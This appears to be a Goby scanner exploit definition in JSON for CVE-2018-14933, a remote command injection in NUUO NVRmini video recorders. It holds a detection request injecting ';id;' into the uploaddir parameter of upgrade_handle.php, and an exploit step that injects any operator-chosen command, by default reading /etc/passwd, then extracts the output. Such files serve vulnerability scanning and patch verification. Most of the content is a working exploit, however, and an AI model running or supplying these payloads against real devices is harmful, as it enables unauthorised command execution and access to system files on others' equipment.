Goby/json/NVRmini-RCE-(CVE-2018-14933...

96 lines
2.5 KiB
JSON

{
"Name": "NVRmini RCE (CVE-2018-14933)",
"Description": "upgrade_handle.php on NUUO NVRmini devices allows Remote Command Execution via shell metacharacters in the uploaddir parameter for a writeuploaddir command.",
"Product": "NVRmini",
"Homepage": "https://www.nuuo.com/ProductNode.php?node=2",
"DisclosureDate": "2021-06-01",
"Author": "Coco413",
"GobyQuery": "app=\"NUUO-NVRmini\"",
"Level": "3",
"Impact": "<p>Attacker can exploit this vulnerability by injecting operating system commands.<br><br></p>",
"Recommendation": "<p><span style=\"color: rgb(22, 51, 102); font-size: 16px;\">At present, the manufacturer has released a repair patch to solve this security problem. It is recommended that users of this software upgrade to the latest version.</span><br></p>",
"References": [
"https://www.exploit-db.com/exploits/46340"
],
"HasExp": true,
"ExpParams": [
{
"name": "cmd",
"type": "input",
"value": "cat%20/etc/passwd"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;id;%27",
"follow_redirect": true,
"header": {},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "uid=",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "gid=",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;{{{cmd}}};%27",
"follow_redirect": true,
"header": {},
"data_type": "text",
"data": ""
},
"SetVariable": [
"output|lastbody|regex|(?s)upload_tmp_dir.*?\\n(.*?)\\n<br />"
]
}
],
"Tags": [
"RCE"
],
"CVEIDs": ["CVE-2018-14933"],
"CVSSScore": "0.0",
"AttackSurfaces": {
"Application": null,
"Support": null,
"Service": null,
"System": null,
"Hardware": null
}
}